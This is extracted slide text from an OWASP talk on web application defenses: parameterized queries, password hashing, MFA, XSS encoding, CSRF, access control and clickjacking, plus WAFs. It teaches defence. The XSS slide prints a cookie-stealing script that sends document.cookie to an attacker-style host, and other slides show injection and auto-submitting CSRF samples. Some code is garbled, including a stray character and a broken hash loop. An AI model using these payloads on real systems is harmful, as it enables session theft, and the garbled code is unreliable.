Top Ten Proactive Web Application Defenses

Top Five Proactive Mobile Controls
Global OWASP Board Member

• OWASP Cheat-Sheet Series Manager

VP of Security Architecture, WhiteHat Security

• 15 years of web-based, database-driven software development and analysis experience
• Over 7 years as a provider of secure developer training courses for SANS, Aspect Security and others

Resident of Kauai, Hawaii

• But I am never there
• Because I love security conferences
$NEW_EMAIL = Request['new_email'];

update users set email='\$NEW_EMAIL' where id=132005;
$NEW_EMAIL = Request['new_email'];

SUPER AWESOME HACK: $NEW_EMAIL = 'UPDATE users set email='"$NEW_EMAIL"' where id=132005;

update users set email='"$NEW_EMAIL"' where id=132005;

update users set email=''; where id=132005;
$stmt = $dbh->prepare("update users set email=:new_email where id=:user_id");

$stmt->bindParam(':new_email', $email);
多$tmt->bindParam(':user_id', $id);
SqlConnection objConnection = new SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand(
    "SELECT * FROM User WHERE Name = @Name AND Password = @Password",
    objConnection);
objCommand.Parameters.Add("@Name", NameTextBox.Text);
objCommand.Parameters.Add("@Password", PassTextBox.Text);
SqlDataReader objReader = objCommand.ExecuteReader();
String newName = request.getParameter("newName");
String id = request.getParameter("id");

//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

//HQL
Query safeHQLQuery = session.createQuery("from Employees where id=:empId");
safeHQLQuery.setParameter("empId", id);
**Create**

Project.create!(:name => 'owasp')

**Read**

Project.all(:conditions => "name = ?", name)

Project.all(:conditions => { :name => name })

Project.where("name = :name", :name => name)

Project.where(:id=> params[:id]).all

**Update**

Project.update_attributes(:name => 'owasp')
<cfquery name="getFirst" dataSource="cfsnippets">
  SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID = <cfqueryparam value="#intCourseID#" CFSQLType="CF_SQL_INTEGER">
</cfquery>
my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
public bool login(string loginId, string shrPass) {
    DataClassesDataContext db = new DataClassesDataContext();
    var validUsers = from user in db.USER_PROFILE
                     where user.LOGIN_ID == loginId
                     && user.PASSWORDH == shrPass
                     select user;
    if (validUsers.Count() > 0) return true;
    return false;
}
Password Defenses

- Disable Browser Autocomplete
  - `<form AUTOCOMPLETE="off">`
  - `<input AUTOCOMPLETE="off">`

- Only send passwords over HTTPS POST

- Do not display passwords in browser
  - Input type=password
  - Do not display passwords in HTML document

- Store password on based on need
  - Use a Salt
  - SCRYPT/PBKDF2
  - HMAC
(iffy)

BCRYPT
• Really slow on purpose (work factor)
• Blowfish derived
• Takes about 10 concurrent runs of BCRYPT to pin a high performance laptop CPU
• Not effective for high performance computing

PBKDF2
• Takes up a lot of memory
• Work factor needs to be set properly
• (50,000 – 10,000,000)
public String hash(String password, String userSalt, int iterations) throws EncryptionException {
    byte[] bytes = null;
    try {
        MessageDigest digest = MessageDigest.getInstance(hashAlgorithm);
        digest.reset();
        digest.update(ESAPI.securityConfiguration().getMasterSalt());
        digest.update(userSalt.getBytes(encoding));
        digest.update(password.getBytes(encoding));
        // rehash a number of times to help strengthen weak passwords
        bytes = digest.digest();
        for (int i = 0; i < iterations; i++) {
            digest.reset();
            bytes = digest.digest(salts + bytes + hash(i));
        }
        String encoded = ESAPI.encoder().encodeForBase64(bytes, false);
        return encoded;
    } catch (Exception ex) {
        throw new EncryptionException("Internal error", "Error");
    }
}
We Need Something Better
1) Do not limit the type of characters of length of user password

2) Use a cryptographically strong credential-specific sal

3) Impose intractable verification on [only] the attacker

4) Design protection/verification for
Do not limit the type of characters or length of user password

Limiting passwords to protect against injection is doomed to failure

Use proper encoder and other defenses described instead
2) Use a cryptographically strong credential-specific salt

```
protect([protection func], [salt] + [credential]);
```

Use a 32b or 64b salt (actual size dependent on protection function);

Do not depend on hiding, splitting, or otherwise obscuring the salt
3a) Impose difficult verification on [only] the attacker (strong/fast)

HMAC-SHA-256([key], [salt] + [credential])

Protect this key as any private key using best practices

Store the key outside the credential store

Upholding security improvement over (solely) salted schemes relies on proper key creation and
3b) Impose difficult verification on [only] the attacker (weak/slow)

pbkdf2([salt] + [credential], c=10,000,000);

**PBKDF2** when FIPS certification or enterprise support on many platforms is required

**Scrypt** where resisting any/all hardware accelerated attacks is necessary but support isn’t.
Multi-Factor Authentication

Passwords as a single Authentication factor are DEAD!

Mobile devices as “what you have” factor

SMS and native apps for MFA heavily reduce risk vs. passwords only (even though they both have flaws)

Password strength and password policy can be MUCH WEAKER in the face of MFA

If you are protecting your magic user and fireball wand with MFA you may also wish to consider protecting your multi-billion dollar enterprise with MFA
Require identity questions
- Last name, account number, email, DOB
- Enforce lockout policy
- Ask one or more good security questions
- https://www.owasp.org/index.php/
  Choosing_and_Using_Security_Questions_Cheat_Sheet
- Send the user a randomly generated token via out-of-band email, SMS or token
- Verify code in same web session
- Enforce lockout policy
- Change password
Anatomy of a XSS Attack

<script>window.location='https://evileviljim.com/unc/data=' + document.cookie;</script>

<script>document.body.innerHTML='<blink>CYBER IS COOL</blink>';</script>
– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently
<table>
<thead>
<tr>
<th>Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML Body</td>
<td></td>
<td>HTML Entity Encode</td>
</tr>
<tr>
<td>HTML Attribute</td>
<td></td>
<td>Minimal Attribute Encoding</td>
</tr>
<tr>
<td>GET Parameter</td>
<td></td>
<td>URL Encoding</td>
</tr>
<tr>
<td>Untrusted URL</td>
<td></td>
<td>URL Validation, avoid javascript: URL Attribute encoding, safe URL verification</td>
</tr>
<tr>
<td>CSS</td>
<td></td>
<td>Strict structural validation, CSS Hex encoding, good design</td>
</tr>
<tr>
<td>HTML Body</td>
<td></td>
<td>HTML Validation (JSoup, AntiSamy, Sanitizer)</td>
</tr>
<tr>
<td>DOM</td>
<td></td>
<td>DOM XSS Cheat Sheet</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing</td>
</tr>
<tr>
<td>Client Parse Time</td>
<td></td>
<td>JSON.parse() or json2.js</td>
</tr>
</tbody>
</table>

**HTML Attributes include**: align, alink, alt, bgcolor, border, cellpadding, cellspacing, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width

**Note**: Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
UNTRUSTED DATA
<input type="text" name="fname" value="UNTRUSTED DATA">

<script>/* bad stuff */</script>

rack: ""><script>/* bad stuff */</script>
<a href="UNTRUSTED URL">clickme</a>

iframe src="UNTRUSTED URL" /

attack: javascript:/* BAD STUFF */
<div style="width: UNTRUSTED DATA;">Selection</div>

attack: expression(/* BAD STUFF */)
var currentValue = 'UNTRUSTED DATA';

someFunction('UNTRUSTED DATA');

attack: ');
/* BAD STUFF */
JSON Parsing Context

JSON.parse(UNTRUSTED JSON DATA)
SAFE use of JQuery

- \$\left(\text{‘#element’}\right).\text{text}(\text{UNTRUSTED DATA});

UNSAFE use of JQuery

- \$\left(\text{‘#element’}\right).\text{html}(\text{UNTRUSTED DATA});
### Dangerous jQuery 1.7.2 Data Types

<table>
<thead>
<tr>
<th>CSS</th>
<th>Some Attribute Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML</td>
<td>URL (Potential Redirect)</td>
</tr>
</tbody>
</table>

### jQuery methods that directly update DOM or can execute JavaScript

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>$( )</code> or <code>jQuery( )</code></td>
<td><code>.attr()</code></td>
</tr>
<tr>
<td><code>.add()</code></td>
<td><code>.css()</code></td>
</tr>
<tr>
<td><code>.after()</code></td>
<td><code>.html()</code></td>
</tr>
<tr>
<td><code>.animate()</code></td>
<td><code>.insertAfter()</code></td>
</tr>
<tr>
<td><code>.append()</code></td>
<td><code>.insertBefore()</code></td>
</tr>
<tr>
<td><code>.appendTo()</code></td>
<td>Note: <code>.text()</code> updates DOM, but is safe.</td>
</tr>
</tbody>
</table>

### jQuery methods that accept URLs to potentially unsafe content

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>jQuery.ajax( )</code></td>
<td><code>jQuery.post( )</code></td>
</tr>
<tr>
<td><code>jQuery.get( )</code></td>
<td><code>load( )</code></td>
</tr>
<tr>
<td><code>jQuery.getScript( )</code></td>
<td></td>
</tr>
</tbody>
</table>
Contextual encoding is a crucial technique needed to stop all types of XSS

jqencoder is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM-based XSS


→ `$('#element').encode('html', cdata);`
Untrusted data should only be treated as displayable text

JavaScript encode and delimit untrusted data as quoted strings

Use `document.createElement("...")`, `element.setAttribute("...","value")`, `element.appendChild(...)`, etc. to build dynamic interfaces (safe attributes only)

Avoid use of HTML rendering methods

Make sure that any untrusted data passed to `eval()` methods is delimited with string delimiters and enclosed within a closure such as

```javascript
Function('"UNTRUSTED DATA"');
```
Welcome to the TinyMCE editor demo!

Feel free to try out the different features that are provided, please note that the MCIImageManager and MCFFileManager specific functionality is part of our commercial offering. The demo is to show the integration.

We really recommend Firefox as the primary browser for the best editing experience, but of course, TinyMCE is compatible with all major browsers.

Got questions or need help?

If you have questions or need help, feel free to visit our community forum! We also offer Enterprise support solutions. Also do check the documentation, its a great resource wiki for understanding how TinyMCE works and integrates.

Source output from post

<table>
<thead>
<tr>
<th>Element</th>
<th>HTML</th>
</tr>
</thead>
<tbody>
<tr>
<td>content</td>
<td><code>&lt;h1&gt;&lt;img style=&quot;float: right;&quot; title=&quot;TinyMCE Logo&quot; src=&quot;img/tlogo.png&quot; alt=&quot;TinyMCE Logo&quot; width=&quot;50&quot; height=&quot;80&quot; /&gt;Welcome to the TinyMCE editor demo!&lt;/h1&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;p&gt;Feel free to try out the different features that are provided, please note that the MCIImageManager and MCFFileManager specific functionality is part of our commercial offering. The demo is to show the integration.&lt;/p&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;p&gt;We really recommend &lt;a href=&quot;http://www.getfirefox.com&quot; target=&quot;_blank&quot;&gt;Firefox&lt;/a&gt; as the primary browser for the best editing experience, but of course, TinyMCE is &lt;a href=&quot;../wiki.php/Browser_compatibility&quot; target=&quot;_blank&quot;&gt;compatible&lt;/a&gt; with all major browsers.&lt;/p&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;h2&gt;Got questions or need help?&lt;/h2&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;p&gt;If you have questions or need help, feel free to visit our &lt;a href=&quot;../forum/index.php&quot;&gt;community forum&lt;/a&gt;! We also offer Enterprise &lt;a href=&quot;../enterprise/support.php&quot;&gt;support&lt;/a&gt; solutions. Also do check the &lt;a href=&quot;../wiki.php/documentation&quot;&gt;documentation&lt;/a&gt;, its a great resource wiki for understanding how TinyMCE works and integrates.&lt;/p&gt;</code></td>
</tr>
</tbody>
</table>
HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review [https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules](https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules).

Very easy to use. It allows for simple programmatic POSITIVE policy configuration (see below). No XML config.

Actively maintained by Mike Samuel from Google's AppSec team!

This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
Solving Real World Problems with the OWASP HTML Sanitizer Project

The Problem

Web Page is vulnerable to XSS because of untrusted HTML

The Solution

```java
PolicyFactory policy = new HtmlPolicyBuilderFactory()
    .allowElements("a")
    .allowUrlProtocols("https")
    .allowAttributes("href").onElements("a")
    .requireRelNofollowOnLinks()
    .build();

String safeHTML = policy.sanitize(untrustedHTML);
```
No third party libraries or configuration necessary.
This code was designed for high-availability/high-performance encoding functionality.
Simple drop-in encoding functionality
Redesigned for performance
More complete API (uri and uri component encoding, etc) in some regards.
This is a Java 1.5 project.
Last updated February 14, 2013 (version 1.1)
The Problem

Web Page built in Java JSP is vulnerable to XSS

The Solution

```html
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>"/>
<textarea name="text"><%= Encode.forHtmlContent(textValue) %></textarea>
<button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');"><b>click me</b></button>
<script type="text/javascript">
msg = "<%= Encode.forJavaScriptBlock(message) %>";
txt(msg);
</script>
```
Content Security Policy

- Anti-XSS W3C standard [http://www.w3.org/TR/CSP/](http://www.w3.org/TR/CSP/)

- Move all inline script and style into external scripts

- Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use
  - Firefox/IE10PR: X-Content-Security-Policy
  - Chrome Experimental: X-WebKit-CSP
  - Content-Security-Policy-Report-Only
Cross Site Request Forgery Defense

```html
<form method="POST" action="http://mybank.com/transferfunds">
  <input type="hidden" name="account" value="23532632"/>
  <input type="hidden" name="amount" value="1000"/>
</form>
<script>document.forms[0].submit()</script>
```
– Cryptographic Tokens
  • Primary and most powerful defense
  • XSS Defense Required

– Require users to re-authenticate
Re-authentication

Please enter your new e-mail address. Use the new e-mail address the next time you log in or place an order.

What is your new e-mail address?

Old e-mail address: jim@manico.net

New e-mail address: [input field]

Re-enter your new e-mail address: [input field]

Password: [input field]

Save changes

Primary email: jim@manico.net

New Email: facebook@manico.net

Facebook email: jmanico@facebook.com

Your Facebook email is based on your public username. Email sent to this address goes to Facebook Messages.

Allow friends to include my email address in Download Your Information

To save these settings, please enter your Facebook password.

Password: [input field]

Save Changes  Cancel

Change Your Email Address

Current email: jim@manico.net

Meetup password

Submit  Cancel

Forgot your password?
if ((user.isManager() ||
    user.isAdministrator() ||
    user.isEditor()) &&
    (user.id() != 1132)) {
    //execute action
}

How do you change the policy of this code?
Apache Shiro is a powerful and easy to use Java security framework. Offers developers an intuitive yet comprehensive solution to authentication, authorization, cryptography, and session management. Built on sound interface-driven design and OO principles. Enables custom behavior. Sensible and secure defaults for everything.
The Problem

Web Application needs secure access control mechanism

The Solution

```java
if (currentUser.isPermitted("lightsaber:wield")) {
    log.info("You may use a lightsaber ring. Use it wisely.");
} else {
    log.info("Sorry, lightsaber rings are for schwartz masters only.");
}
```
The Problem

Application needs to secure access to a specific object

The Solution

```java
if ( currentUser.isPermitted("winnebago:drive:" + 2213456) ) {
    log.info("You are permitted to 'drive' the 'winnebago'. Here are the keys - have fun!".gateway);
} else {
    log.info("Sorry, you aren't allowed to drive the 'eagle5' winnebago!");
}
```
Anatomy of a Clickjacking Attack
First, make a tempting site
iframe is invisible, but still clickable!
to prevent all framing of this content
response.addHeader( "X-FRAME-OPTIONS", "DENY" );

to allow framing of this content only by this site
response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" );

to allow framing from a specific domain
response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM" );
<style id="antiCJ">body{display:none !important;}</style>
<script type="text/javascript">
if (self === top) {
    var antiClickjack = document.getElementById("antiCJ");
    antiClickjack.parentNode.removeChild(antiClickjack)
} else {
    top.location = self.location;
}
</script>
Great detection points to start with

- Input validation failure server side when client side validation exists
- Input validation failure server side on non-user editable parameters such as hidden fields, checkboxes, radio buttons or select lists
- Forced browsing to common attack entry points (e.g. /admin) or honeypot URL (e.g. a fake path listed in /robots.txt)

Others

- Blatant SQLi or XSS injection attacks
- Workflow sequence abuse (e.g. multi-part form in wrong order)
- Custom business logic (e.g. basket vs catalogue price mismatch)
Project and mailing list

https://www.owasp.org/index.php/OWASP_AppSensor_Project

Four-page briefing, Crosstalk, Journal of Defense Software Engineering

http://www.crosstalkonline.org/storage/issue-archives/2011/201109/201109-
Confidentiality, Integrity (in Transit) and Authenticity

- Authentication credentials and session identifiers must be encrypted in transit via HTTPS/SSL
- Starting when the login form is rendered until logout is complete

HTTPS configuration best practices


HSTS (Strict Transport Security)

- [http://www.youtube.com/watch?v=zEV3HOuM_Vw](http://www.youtube.com/watch?v=zEV3HOuM_Vw)

Certificate Pinning
How I learned to stop worrying and love the WAF
“A security policy enforcement layer which prevents the exploitation of a known vulnerability”
Rationale for Usage
– No Source Code Access
– No Access to Developers
– High Cost/Time to Fix

Benefit
– Reduce Time-to-Fix
– Reduce Attack Surface
Ownership is *Defenders*

Focus on web applications that are *already in production* and exposed to attacks

Examples include using a Web Application Firewall (WAF) such as ModSecurity

Aim to *minimize the Time-to-Fix exposures*
OWASP ModSecurity Core Rule Set

Plug-n-Play Protection from Web Application Attacks

ModSecurity™ is a web application firewall engine that provides very little protection on its own. In order to become useful, ModSecurity™ must be equipped with rules. In order to enable users to take full advantage of ModSecurity™ out of the box, the OWASP Defender Community has developed and maintains a free set of application protection rules called the OWASP ModSecurity Core Rule Set (CRS). Unlike intrusion detection systems, which rely on signatures specific to known vulnerabilities, the CRS provides generic protection from unknown vulnerabilities often found in web applications.

More funds to OWASP earmarked for ModSecurity Core Rule Set Project.

Generic Content

To provide generic web applications protection, the Core Rules use the following techniques:

- Protection - detecting violations of the HTTP protocol and a locally defined usage policy.
- Time Blacklist Lookups - utilizes 3rd Party IP Reputation
- Based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API.
- Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks.
- Common Web Attacks Protection - detecting common web application security attack.
- Information Detection - Detecting bots, crawlers, scanners and other surface malicious activity.
- Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application.
- Sensitive Data - Tracks Credit Card usage and blocks leakages.
- Protection - Detecting access to Trojans horses.
- Fixing Application Defects - alerts on application misconfigurations.
- Detection and Hiding - Disguising error messages sent by the server.
THANK YOU

jim@owasp.org